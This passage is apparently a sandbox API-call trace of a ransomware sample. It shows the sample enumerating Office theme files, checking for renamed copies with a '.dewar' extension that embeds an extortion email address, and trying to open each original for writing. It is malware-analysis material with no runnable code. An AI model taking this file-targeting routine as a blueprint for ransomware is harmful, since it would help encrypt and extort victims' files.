hTemplateFile=0x0) returned 0xffffffff [0239.434] SetEvent (hEvent=0x118) returned 1 [0239.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.436] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=25234) returned 1 [0239.437] CloseHandle (hObject=0x1e0) returned 1 [0239.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0239.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0239.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.438] SetEvent (hEvent=0x118) returned 1 [0239.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.693] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=69575) returned 1 [0239.694] CloseHandle (hObject=0x200) returned 1 [0239.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0239.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0239.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.707] SetEvent (hEvent=0x118) returned 1 [0239.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.711] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2985) returned 1 [0239.711] CloseHandle (hObject=0x200) returned 1 [0239.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0239.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0239.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.712] SetEvent (hEvent=0x118) returned 1 [0239.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.714] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=19780) returned 1 [0239.714] CloseHandle (hObject=0x200) returned 1 [0239.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0239.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0239.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.716] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=100798) returned 1 [0239.717] CloseHandle (hObject=0x200) returned 1 [0239.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0239.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0239.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.722] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=529) returned 1 [0239.722] CloseHandle (hObject=0x200) returned 1 [0239.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0239.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0239.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.723] SetEvent (hEvent=0x118) returned 1 [0239.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.725] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2848) returned 1 [0239.725] CloseHandle (hObject=0x200) returned 1 [0239.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0239.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0239.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.726] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=34916) returned 1 [0239.727] CloseHandle (hObject=0x200) returned 1 [0239.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0239.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0239.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.729] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=69047) returned 1 [0239.729] CloseHandle (hObject=0x200) returned 1 [0239.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0239.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0239.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.741] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=534) returned 1 [0239.741] CloseHandle (hObject=0x200) returned 1 [0239.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0239.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0239.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.742] SetEvent (hEvent=0x118) returned 1 [0239.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.746] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2181) returned 1 [0239.746] CloseHandle (hObject=0x200) returned 1 [0239.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0239.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0239.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.747] SetEvent (hEvent=0x118) returned 1 [0239.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.748] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=20627) returned 1 [0239.748] CloseHandle (hObject=0x200) returned 1 [0239.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0239.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0239.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.751] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=49850) returned 1 [0239.751] CloseHandle (hObject=0x200) returned 1 [0239.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0239.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0239.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.753] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=551) returned 1 [0239.753] CloseHandle (hObject=0x200) returned 1 [0239.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0239.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0239.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.758] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1560) returned 1 [0239.758] CloseHandle (hObject=0x200) returned 1 [0239.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0239.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0239.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 